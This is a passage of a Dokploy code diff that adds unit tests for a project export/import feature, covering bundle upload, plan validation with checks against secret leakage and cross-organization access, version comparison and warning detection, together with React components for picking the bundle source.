}; + expect(serverId).toBe("server-1"); + expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true); + expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true); + expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1"); + expect(existsSync(join(transferPathToReturn, importId))).toBe(false); + }); + + it("rejects a server outside the organization", async () => { + const req = buildMultipartReq(Buffer.from("x")) as unknown as { + query?: Record; + }; + req.query = { serverId: "someone-elses-server" }; + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(400); + expect(remoteBox.commands).toHaveLength(0); + }); + + it("closes the remote writer when the upload has no file field", async () => { + const boundary = "----dokployTestBoundary"; + const body = Buffer.from( + `--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`, + ); + const stream = new PassThrough() as unknown as PassThrough & { + method: string; + headers: Record; + query: Record; + }; + stream.method = "POST"; + stream.headers = { + "content-type": `multipart/form-data; boundary=${boundary}`, + "content-length": String(body.length), + }; + stream.query = { serverId: "server-1" }; + stream.end(body); + const res = buildRes(); + + await handler(stream as any, res as any); + + expect(res.statusCode).toBe(400); + expect((res.jsonBody as { message: string }).message).toBe( + "No file field found in the upload", + ); + expect(remoteBox.stdin?.destroyed).toBe(true); + }); + + it("fails fast when the remote writer exits before the file arrives", async () => { + remoteBox.exitCode = 1; + const stalled = new PassThrough() as unknown as PassThrough & { + method: string; + headers: Record; + query: Record; + }; + stalled.method = "POST"; + stalled.headers = { + "content-type": "multipart/form-data; boundary=----dokployTestBoundary", + }; + stalled.query = { serverId: "server-1" }; + const res = buildRes(); + + await handler(stalled as any, res as any); + + expect(res.statusCode).toBe(400); + expect((res.jsonBody as { message: string }).message).toMatch( + /Writing the bundle on the server failed/, + ); + }, 5_000); +}); diff --git a/apps/dokploy/__test__/export-import/validate-plan.test.ts b/apps/dokploy/__test__/export-import/validate-plan.test.ts new file mode 100644 index 000000000..3f4850caf --- /dev/null +++ b/apps/dokploy/__test__/export-import/validate-plan.test.ts @@ -0,0 +1,511 @@ +import type { + Plan, + Requirement, + Snapshot, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { ExecError } from "@dokploy/server/utils/process/execAsync"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { + ...actual, + execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })), + }; +}); + +vi.mock("@dokploy/server/services/registry", () => ({ + testRegistryConnection: vi.fn(async () => { + throw new ExecError( + "Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin", + { + command: + "printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin", + stderr: "Error response from daemon: login attempt failed", + exitCode: 1, + }, + ); + }), +})); + +vi.mock("@dokploy/server/services/destination", () => ({ + testDestinationConnection: vi.fn(async () => { + throw new ExecError( + "Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket", + { + command: + "rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket", + stderr: "NoSuchBucket: The specified bucket does not exist", + exitCode: 1, + }, + ); + }), +})); + +vi.mock("@dokploy/server/services/vault-provider", () => ({ + testVaultProviderConnection: vi.fn(async () => {}), +})); + +const { validatePlan } = await import( + "@dokploy/server/services/project-export-import" +); + +const basePlan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: { + "registry:registry-src": { + requirementKey: "registry:registry-src", + action: "reuse" as const, + targetId: "registry-dest-1", + }, + "destination:destination-src": { + requirementKey: "destination:destination-src", + action: "reuse" as const, + targetId: "destination-dest-1", + }, + }, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, +} satisfies Plan; + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: {}, + environments: [], + services: [], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], +}; + +const fakeDb = { + query: { + registry: { + findFirst: async () => ({ + registryId: "registry-dest-1", + registryUrl: "registry.example.com", + username: "user", + password: "realregistrypass123", + organizationId: "org-dest", + }), + }, + destinations: { + findFirst: async () => ({ + destinationId: "destination-dest-1", + accessKey: "key", + secretAccessKey: "realsecretkey456", + bucket: "mybucket", + region: "us-east-1", + endpoint: "https://s3.example.com", + organizationId: "org-dest", + }), + }, + vaultProvider: { findFirst: async () => undefined }, + }, +} as any as TransferDb; + +describe("validatePlan (T-5.4)", () => { + it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => { + const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest"); + + const registryCheck = checks.find((c) => c.check.startsWith("registry:")); + expect(registryCheck?.ok).toBe(false); + expect(registryCheck?.detail).not.toContain("realregistrypass123"); + expect(registryCheck?.detail).toContain("login attempt failed"); + + const destinationCheck = checks.find((c) => + c.check.startsWith("destination:"), + ); + expect(destinationCheck?.ok).toBe(false); + expect(destinationCheck?.detail).not.toContain("realsecretkey456"); + expect(destinationCheck?.detail).toContain("bucket does not exist"); + }); +}); + +describe("validatePlan checks each appName against its own destination server (T-5.13)", () => { + it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => { + const snapshotWithTwoApps: Snapshot = { + ...snapshot, + resources: { + ...snapshot.resources, + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "app-one-old", + serverId: "server-src-1", + }, + { + kind: "application", + applicationId: "app-2", + appName: "app-two-old", + serverId: "server-src-2", + }, + ], + }, + requirements: [ + { + kind: "server", + originalId: "server-src-1", + configIncluded: false, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application", + serviceName: "app-one", + environmentId: "env-1", + field: "serverId", + }, + ], + }, + { + kind: "server", + originalId: "server-src-2", + configIncluded: false, + usedBy: [ + { + serviceId: "app-2", + serviceType: "application", + serviceName: "app-two", + environmentId: "env-1", + field: "serverId", + }, + ], + }, + ], + }; + const planWithTwoApps: Plan = { + ...basePlan, + resolutions: {}, + serverMap: { + "server-src-1": "server-dest-1", + "server-src-2": "server-dest-2", + }, + appNameMap: { + "app-one-old": "app-one-new", + "app-two-old": "app-two-new", + }, + }; + + const probed: { appName: string; serverId: string | null }[] = []; + await validatePlan( + fakeDb, + snapshotWithTwoApps, + planWithTwoApps, + "org-dest", + { + checkAppNameAvailable: async (appName, serverId) => { + probed.push({ appName, serverId }); + return true; + }, + }, + ); + + expect(probed).toContainEqual({ + appName: "app-one-new", + serverId: "server-dest-1", + }); + expect(probed).toContainEqual({ + appName: "app-two-new", + serverId: "server-dest-2", + }); + }); +}); + +describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => { + const serverRequirement: Requirement = { + kind: "server", + originalId: "server-src-1", + configIncluded: false, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application", + serviceName: "my-app", + environmentId: "env-1", + }, + ], + }; + + it("fails the check when the server requirement's resolution is 'skip'", async () => { + const snapshotWithServer: Snapshot = { + ...snapshot, + requirements: [serverRequirement], + }; + const planWithSkippedServer: Plan = { + ...basePlan, + resolutions: { + "server:server-src-1": { + requirementKey: "server:server-src-1", + action: "skip", + }, + }, + }; + + const checks = await validatePlan( + fakeDb, + snapshotWithServer, + planWithSkippedServer, + "org-dest", + ); + + const serverCheck = checks.find( + (c) => c.check === "serverResolution:server-src-1", + ); + expect(serverCheck?.ok).toBe(false); + }); + + it("fails the check when the server requirement has no resolution at all", async () => { + const snapshotWithServer: Snapshot = { + ...snapshot, + requirements: [serverRequirement], + }; + const planWithNoResolution: Plan = { + ...basePlan, + resolutions: {}, + }; + + const checks = await validatePlan( + fakeDb, + snapshotWithServer, + planWithNoResolution, + "org-dest", + ); + + const serverCheck = checks.find( + (c) => c.check === "serverResolution:server-src-1", + ); + expect(serverCheck?.ok).toBe(false); + }); + + it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => { + const snapshotWithServer: Snapshot = { + ...snapshot, + requirements: [serverRequirement], + }; + const planResolved: Plan = { + ...basePlan, + resolutions: { + "server:server-src-1": { + requirementKey: "server:server-src-1", + action: "reuse", + targetId: "server-dest-1", + }, + }, + }; + + const checks = await validatePlan( + fakeDb, + snapshotWithServer, + planResolved, + "org-dest", + ); + + const serverCheck = checks.find( + (c) => c.check === "serverResolution:server-src-1", + ); + expect(serverCheck?.ok).toBe(true); + }); +}); + +describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => { + const crossOrgDb = { + query: { + vaultProvider: { + findFirst: async () => ({ + vaultProviderId: "vault-dest-1", + config: { + providerType: "hashicorp", + url: "https://vault", + token: "t", + }, + organizationId: "org-OTHER", + }), + }, + registry: { + findFirst: async () => ({ + registryId: "registry-dest-1", + registryUrl: "registry.example.com", + username: "user", + password: "realregistrypass123", + organizationId: "org-OTHER", + }), + }, + destinations: { + findFirst: async () => ({ + destinationId: "destination-dest-1", + accessKey: "key", + secretAccessKey: "realsecretkey456", + bucket: "mybucket", + region: "us-east-1", + endpoint: "https://s3.example.com", + organizationId: "org-OTHER", + }), + }, + }, + } as any as TransferDb; + + it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => { + const { testRegistryConnection } = await import( + "@dokploy/server/services/registry" + ); + const { testDestinationConnection } = await import( + "@dokploy/server/services/destination" + ); + (testRegistryConnection as any).mockClear(); + (testDestinationConnection as any).mockClear(); + + const checks = await validatePlan( + crossOrgDb, + snapshot, + basePlan, + "org-dest", + ); + + const registryCheck = checks.find((c) => c.check.startsWith("registry:")); + expect(registryCheck?.ok).toBe(false); + expect(registryCheck?.detail).toContain("Not found in this organization"); + expect(testRegistryConnection).not.toHaveBeenCalled(); + + const destinationCheck = checks.find((c) => + c.check.startsWith("destination:"), + ); + expect(destinationCheck?.ok).toBe(false); + expect(destinationCheck?.detail).toContain( + "Not found in this organization", + ); + expect(testDestinationConnection).not.toHaveBeenCalled(); + }); + + it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => { + const { testVaultProviderConnection } = await import( + "@dokploy/server/services/vault-provider" + ); + (testVaultProviderConnection as any).mockClear(); + + const planWithVault: Plan = { + ...basePlan, + resolutions: { + "vault:vault-src": { + requirementKey: "vault:vault-src", + action: "reuse", + targetId: "vault-dest-1", + }, + }, + }; + + const checks = await validatePlan( + crossOrgDb, + snapshot, + planWithVault, + "org-dest", + ); + + const vaultCheck = checks.find((c) => c.check.startsWith("vault:")); + expect(vaultCheck?.ok).toBe(false); + expect(vaultCheck?.detail).toContain("Not found in this organization"); + expect(testVaultProviderConnection).not.toHaveBeenCalled(); + }); +}); + +describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => { + it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => { + const { execAsyncRemote } = await import( + "@dokploy/server/utils/process/execAsync" + ); + (execAsyncRemote as any).mockClear(); + + const crossOrgServerDb = { + query: { + ...(fakeDb as any).query, + server: { + findFirst: async () => ({ + serverId: "server-other-org", + organizationId: "org-OTHER", + }), + }, + }, + } as any as TransferDb; + + const planWithServer: Plan = { + ...basePlan, + resolutions: {}, + serverMap: { "server-src-1": "server-other-org" }, + }; + + const checks = await validatePlan( + crossOrgServerDb, + snapshot, + planWithServer, + "org-dest", + ); + + const serverCheck = checks.find( + (c) => c.check === "server:server-other-org", + ); + expect(serverCheck?.ok).toBe(false); + expect(serverCheck?.detail).toContain("Not found in this organization"); + expect(execAsyncRemote).not.toHaveBeenCalled(); + }); +}); + +describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => { + it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => { + const missingRowDb = { + query: { + ...(fakeDb as any).query, + registry: { findFirst: async () => undefined }, + }, + } as any as TransferDb; + + const checks = await validatePlan( + missingRowDb, + snapshot, + basePlan, + "org-dest", + ); + + const registryCheck = checks.find((c) => c.check.startsWith("registry:")); + expect(registryCheck?.ok).toBe(false); + expect(registryCheck?.detail).toContain("Not found in this organization"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/versions.test.ts b/apps/dokploy/__test__/export-import/versions.test.ts new file mode 100644 index 000000000..84ef74614 --- /dev/null +++ b/apps/dokploy/__test__/export-import/versions.test.ts @@ -0,0 +1,179 @@ +import type { + ExportScope, + InstanceVersions, + SourceInstance, +} from "@dokploy/server/services/project-export-import"; +import { + collectDockerVersions, + compareDockerVersions, + compareInstanceVersions, + isPinnedImage, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const destination: InstanceVersions = { + dokployVersion: "v0.30.6", + releaseTag: "latest", + isCloud: false, + traefikVersion: "3.6.25", + nodeVersion: "v22.0.0", +}; + +const source = (overrides: Partial): SourceInstance => ({ + dokployVersion: "v0.30.6", + organizationId: "org-src", + releaseTag: "latest", + isCloud: false, + traefikVersion: "3.6.25", + ...overrides, +}); + +const codesOf = (warnings: { code: string; severity: string }[]) => + warnings.map((w) => `${w.code}:${w.severity}`); + +describe("compareInstanceVersions", () => { + it("is silent when everything matches", () => { + expect(compareInstanceVersions(source({}), destination)).toEqual([]); + }); + + it("warns when the bundle comes from a newer Dokploy", () => { + const warnings = compareInstanceVersions( + source({ dokployVersion: "v0.31.0" }), + destination, + ); + expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:warning"]); + }); + + it("only informs when the bundle comes from an older Dokploy", () => { + const warnings = compareInstanceVersions( + source({ dokployVersion: "v0.29.0" }), + destination, + ); + expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]); + }); + + it("informs when versions are not comparable but differ", () => { + const warnings = compareInstanceVersions( + source({ dokployVersion: "canary", releaseTag: "canary" }), + destination, + ); + expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]); + expect(warnings[0]?.message).toContain("can't be compared"); + }); + + it("flags cloud to self-hosted and traefik differences", () => { + const warnings = compareInstanceVersions( + source({ isCloud: true, traefikVersion: "3.4.0" }), + destination, + ); + expect(codesOf(warnings)).toEqual([ + "INSTANCE_KIND_MISMATCH:info", + "TRAEFIK_VERSION_MISMATCH:info", + ]); + }); + + it("ignores fields an older bundle does not carry", () => { + const warnings = compareInstanceVersions( + { dokployVersion: "v0.30.6", organizationId: "org-src" }, + destination, + ); + expect(warnings).toEqual([]); + }); +}); + +describe("compareDockerVersions", () => { + it("reports a different major version", () => { + expect(compareDockerVersions("26.1.0", "27.0.1")).toContain( + "different major version", + ); + }); + + it("accepts the same major version", () => { + expect(compareDockerVersions("27.0.1", "27.3.0")).toBeUndefined(); + }); + + it("is silent without a source version", () => { + expect(compareDockerVersions(undefined, "27.0.1")).toBeUndefined(); + }); +}); + +describe("isPinnedImage", () => { + it.each([ + ["postgres:17", true], + ["ghcr.io/org/app:v1.2.3", true], + ["registry:5000/org/app@sha256:abc", true], + ["postgres", false], + ["postgres:latest", false], + ["registry:5000/org/app", false], + ])("%s → %s", (image, pinned) => { + expect(isPinnedImage(image)).toBe(pinned); + }); +}); + +describe("collectDockerVersions", () => { + const scope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }; + + const tree = { + projectId: "project-1", + name: "p", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [ + { applicationId: "app-1", appName: "app-one", serverId: null }, + { applicationId: "app-2", appName: "app-two", serverId: "srv-1" }, + ], + compose: [], + postgres: [ + { postgresId: "pg-1", appName: "pg-one", serverId: "srv-1" }, + ], + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], + }, + ], + }; + + it("probes each distinct server once and keys local as 'local'", async () => { + const probed: (string | null)[] = []; + const versions = await collectDockerVersions( + tree as never, + scope, + async (serverId) => { + probed.push(serverId); + return serverId ? "26.1.0" : "27.0.1"; + }, + ); + expect(probed).toEqual([null, "srv-1"]); + expect(versions).toEqual({ local: "27.0.1", "srv-1": "26.1.0" }); + }); + + it("skips servers whose probe fails", async () => { + const versions = await collectDockerVersions( + tree as never, + scope, + async (serverId) => { + if (serverId) throw new Error("ssh down"); + return "27.0.1"; + }, + ); + expect(versions).toEqual({ local: "27.0.1" }); + }); +}); diff --git a/apps/dokploy/__test__/export-import/warnings.test.ts b/apps/dokploy/__test__/export-import/warnings.test.ts new file mode 100644 index 000000000..626bf4822 --- /dev/null +++ b/apps/dokploy/__test__/export-import/warnings.test.ts @@ -0,0 +1,281 @@ +import type { ExportScope } from "@dokploy/server/services/project-export-import"; +import { detectWarnings } from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const baseApplication = { + applicationId: "app-1", + name: "app-1", + appName: "app-one", + mounts: [], + domains: [], + isPreviewDeploymentsActive: false, + sourceType: "github", + autoDeploy: false, +}; + +const baseCompose = { + composeId: "compose-1", + name: "compose-1", + appName: "compose-one", + composeFile: "services: {}", + mounts: [], + domains: [], + autoDeploy: false, +}; + +const emptyServiceArrays = { + mysql: [], + mariadb: [], + mongo: [], + libsql: [], +}; + +const buildTree = (overrides: { + applications?: Record[]; + compose?: Record[]; + postgres?: Record[]; + redis?: Record[]; +}) => ({ + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: overrides.applications ?? [], + compose: overrides.compose ?? [], + postgres: overrides.postgres ?? [], + redis: overrides.redis ?? [], + ...emptyServiceArrays, + }, + ], +}); + +const codesOf = (warnings: { code: string }[]) => warnings.map((w) => w.code); + +describe("detectWarnings", () => { + it("IMAGE_TAG_NOT_PINNED for a database on a floating tag, not for a pinned one", () => { + const tree = buildTree({ + postgres: [ + { + postgresId: "pg-1", + name: "pg", + appName: "pg-one", + dockerImage: "postgres:latest", + mounts: [], + }, + { + postgresId: "pg-2", + name: "pg2", + appName: "pg-two", + dockerImage: "postgres:17", + mounts: [], + }, + ], + applications: [ + { ...baseApplication, sourceType: "docker", dockerImage: "nginx" }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope).filter( + (w) => w.code === "IMAGE_TAG_NOT_PINNED", + ); + expect(warnings.map((w) => w.affected[0]?.serviceId).sort()).toEqual([ + "app-1", + "pg-1", + ]); + }); + + it("ABSOLUTE_HOST_PATH_MOUNT for a bind mount with an absolute host path", () => { + const tree = buildTree({ + applications: [ + { + ...baseApplication, + mounts: [ + { + mountId: "mount-1", + type: "bind", + hostPath: "/var/data", + mountPath: "/data", + }, + ], + }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("ABSOLUTE_HOST_PATH_MOUNT"); + }); + + it("MANUAL_VOLUME_NAME for a volume mount with an explicit volumeName", () => { + const tree = buildTree({ + applications: [ + { + ...baseApplication, + mounts: [ + { + mountId: "mount-1", + type: "volume", + volumeName: "my-custom-volume", + mountPath: "/data", + }, + ], + }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("MANUAL_VOLUME_NAME"); + }); + + it("does not warn about a volume name that embeds the service's own appName", () => { + const tree = buildTree({ + applications: [ + { + ...baseApplication, + mounts: [ + { + mountId: "mount-1", + type: "volume", + volumeName: `${baseApplication.appName}-data`, + mountPath: "/data", + }, + ], + }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME"); + }); + + it("does not warn about a bind mount with a relative path or an auto volume name", () => { + const tree = buildTree({ + applications: [ + { + ...baseApplication, + mounts: [ + { + mountId: "m1", + type: "bind", + hostPath: "relative", + mountPath: "/a", + }, + { + mountId: "m2", + type: "volume", + volumeName: null, + mountPath: "/b", + }, + ], + }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).not.toContain("ABSOLUTE_HOST_PATH_MOUNT"); + expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME"); + }); + + it("APPNAME_IN_COMPOSE_FILE when the compose file references its own appName", () => { + const tree = buildTree({ + compose: [ + { + ...baseCompose, + appName: "compose-one", + composeFile: "networks:\n compose-one-net:\n external: true", + }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("APPNAME_IN_COMPOSE_FILE"); + }); + + it("PREVIEW_DEPLOYMENTS_DROPPED when preview deployments are active", () => { + const tree = buildTree({ + applications: [{ ...baseApplication, isPreviewDeploymentsActive: true }], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("PREVIEW_DEPLOYMENTS_DROPPED"); + }); + + it("LETSENCRYPT_CERTS_NOT_EXPORTED for a domain with a letsencrypt certificate", () => { + const tree = buildTree({ + applications: [ + { + ...baseApplication, + domains: [ + { + domainId: "dom-1", + host: "app.example.com", + certificateType: "letsencrypt", + }, + ], + }, + ], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("LETSENCRYPT_CERTS_NOT_EXPORTED"); + }); + + it("REDIS_NO_DUMP for every redis service in scope", () => { + const tree = buildTree({ + redis: [{ redisId: "redis-1", name: "redis-1", mounts: [] }], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("REDIS_NO_DUMP"); + }); + + it("WEBHOOK_TOKEN_REGENERATED for a service with autoDeploy enabled", () => { + const tree = buildTree({ + applications: [{ ...baseApplication, autoDeploy: true }], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).toContain("WEBHOOK_TOKEN_REGENERATED"); + }); + + it("DROP_SOURCE_NOT_EXPORTED when a drop-source app is excluded from files", () => { + const tree = buildTree({ + applications: [{ ...baseApplication, sourceType: "drop" }], + }); + const warnings = detectWarnings(tree as any, { + ...baseScope, + files: { ...baseScope.files, applicationSources: false }, + }); + expect(codesOf(warnings)).toContain("DROP_SOURCE_NOT_EXPORTED"); + }); + + it("does not warn DROP_SOURCE_NOT_EXPORTED when applicationSources is included", () => { + const tree = buildTree({ + applications: [{ ...baseApplication, sourceType: "drop" }], + }); + const warnings = detectWarnings(tree as any, baseScope); + expect(codesOf(warnings)).not.toContain("DROP_SOURCE_NOT_EXPORTED"); + }); + + it("only inspects services within scope", () => { + const included = { ...baseApplication, applicationId: "app-included" }; + const excluded = { + ...baseApplication, + applicationId: "app-excluded", + autoDeploy: true, + }; + const tree = buildTree({ applications: [included, excluded] }); + const warnings = detectWarnings(tree as any, { + ...baseScope, + serviceIds: ["app-included"], + }); + expect(codesOf(warnings)).not.toContain("WEBHOOK_TOKEN_REGENERATED"); + }); +}); diff --git a/apps/dokploy/components/dashboard/project/export-import/bundle-source-step.tsx b/apps/dokploy/components/dashboard/project/export-import/bundle-source-step.tsx new file mode 100644 index 000000000..a2d117eed --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/bundle-source-step.tsx @@ -0,0 +1,210 @@ +import { Upload } from "lucide-react"; +import { useRef, useState } from "react"; +import { toast } from "sonner"; +import { Button } from "@/components/ui/button"; +import { Label } from "@/components/ui/label"; +import { Progress } from "@/components/ui/progress"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; +import { api } from "@/utils/api"; +import { + BundleListState, + BundleMeta, + DestinationSelect, +} from "./destination-select"; + +const uploadWithProgress = ( + file: File, + serverId: string | undefined, + onProgress: (percent: number) => void, +): Promise<{ importId: string }> => + new Promise((resolve, reject) => { + const formData = new FormData(); + formData.append("bundle", file); + + const xhr = new XMLHttpRequest(); + xhr.upload.addEventListener("progress", (event) => { + if (event.lengthComputable) { + onProgress(Math.round((event.loaded / event.total) * 100)); + } + }); + xhr.addEventListener("load", () => { + if (xhr.status >= 200 && xhr.status < 300) { + try { + resolve(JSON.parse(xhr.responseText)); + } catch { + reject(new Error("Invalid response from upload")); + } + } else { + try { + const body = JSON.parse(xhr.responseText); + reject(new Error(body.message ?? `Upload failed (${xhr.status})`)); + } catch { + reject(new Error(`Upload failed (${xhr.status})`)); + } + } + }); + xhr.addEventListener("error", () => reject(new Error("Upload failed"))); + xhr.open( + "POST", + serverId + ? `/api/project-export-import/upload?serverId=${encodeURIComponent(serverId)}` + : "/api/project-export-import/upload", + ); + xhr.send(formData); + }); + +interface BundleSourceStepProps { + onSelected: (importId: string, serverId: string | undefined) => void; + initialBundle?: { destinationId: string; key: string }; +} + +export const BundleSourceStep = ({ + onSelected, + initialBundle, +}: BundleSourceStepProps) => { + const fileInputRef = useRef(null); + const { data: isCloud } = api.settings.isCloud.useQuery(); + const { data: servers } = api.server.withSSHKey.useQuery(); + const [serverId, setServerId] = useState(""); + const needsServer = isCloud !== false && !serverId; + const [uploadProgress, setUploadProgress] = useState(0); + const [isUploading, setIsUploading] = useState(false); + const [destinationId, setDestinationId] = useState( + initialBundle?.destinationId ?? "", + ); + const [selectedKey, setSelectedKey] = useState(initialBundle?.key ?? ""); + + const bundlesQuery = api.projectExportImport.listRemoteBundles.useQuery( + { destinationId }, + { enabled: !!destinationId }, + ); + const { mutateAsync: importFromDestination, isPending: isFetching } = + api.projectExportImport.importFromDestination.useMutation({ + onError: (error) => toast.error(error.message), + }); + + const handleFileSelected = async (file: File) => { + setIsUploading(true); + setUploadProgress(0); + try { + const result = await uploadWithProgress( + file, + serverId || undefined, + setUploadProgress, + ); + onSelected(result.importId, serverId || undefined); + } catch (error) { + toast.error(error instanceof Error ? error.message : "Upload failed"); + } finally { + setIsUploading(false); + if (fileInputRef.current) fileInputRef.current.value = ""; + } + }; + + const handleFromDestination = async () => { + try { + const result = await importFromDestination({ + destinationId, + key: selectedKey, + serverId: serverId || undefined, + }); + onSelected(result.importId, serverId || undefined); + } catch {} + }; + + return ( + +
+ + +

+ The bundle is unpacked and restored on this server + {isCloud ? "; nothing is stored on Dokploy Cloud" : ""}. +

+
+ + Upload a file + From a destination + + +
!needsServer && fileInputRef.current?.click()} + > + +

+ Click to select a .dokploy.tar.gz bundle +

+ { + const file = e.target.files?.[0]; + if (file) void handleFileSelected(file); + }} + /> +
+ {isUploading && ( +
+ +

+ Uploading... {uploadProgress}% +

+
+ )} + + + + {destinationId && ( +
+ + {bundlesQuery.data?.map((bundle) => ( + + ))} +
+ )} + + + + ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/collapsible-section.tsx b/apps/dokploy/components/dashboard/project/export-import/collapsible-section.tsx new file mode 100644 index 000000000..af5e91bd9 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/collapsible-section.tsx @@ -0,0 +1,38 @@ +import { ChevronDown } from "lucide-react"; +import { type ReactNode, useState } from "react"; +import { + Collapsible, + CollapsibleContent, + CollapsibleTrigger, +} from "@/components/ui/collapsible"; + +interface CollapsibleSectionProps { + title: ReactNode; + children: ReactNode; + className?: string; + triggerClassName?: string; + contentClassName?: string; +} + +export const CollapsibleSection = ({ + title, + children, + className, + triggerClassName = "flex items-center gap-1 text-sm font-medium", + contentClassName = "space-y-2 pt-2", +}: CollapsibleSectionProps) => { + const [open, setOpen] = useState(false); + return ( + + + + {title} + + + {children} + + + ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/destination-select.tsx b/apps/dokploy/components/dashboard/project/export-import/destination-select.tsx new file mode 100644 index 000000000..a94fe5307 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/destination-select.tsx @@ -0,0 +1,95 @@ +import type { ReactNode } from "react"; +import { formatBytes } from "@/components/dashboard/database/backups/restore-backup"; +import { Label } from "@/components/ui/label"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; + +interface DestinationSelectProps { + value: string; + onChange: (destinationId: string) => void; + label?: string; + description?: ReactNode; +} + +export const DestinationSelect = ({ + value, + onChange, + label = "Destination", + description, +}: DestinationSelectProps) => { + const { data: destinations } = api.destination.all.useQuery(); + return ( +
+ + + {destinations?.length === 0 ? ( +

+ No destinations configured. Add one under Settings → S3 Destinations + first. +

+ ) : ( + description && ( +

{description}

+ ) + )} +
+ ); +}; + +interface BundleListStateProps { + query: { + isLoading: boolean; + isError: boolean; + error?: { message: string } | null; + data?: unknown[]; + }; +} + +export const BundleListState = ({ query }: BundleListStateProps) => { + if (query.isLoading) { + return

Listing bundles...

; + } + if (query.isError) { + return

{query.error?.message}

; + } + if (query.data?.length === 0) { + return ( +

+ No export bundles in this destination yet. +

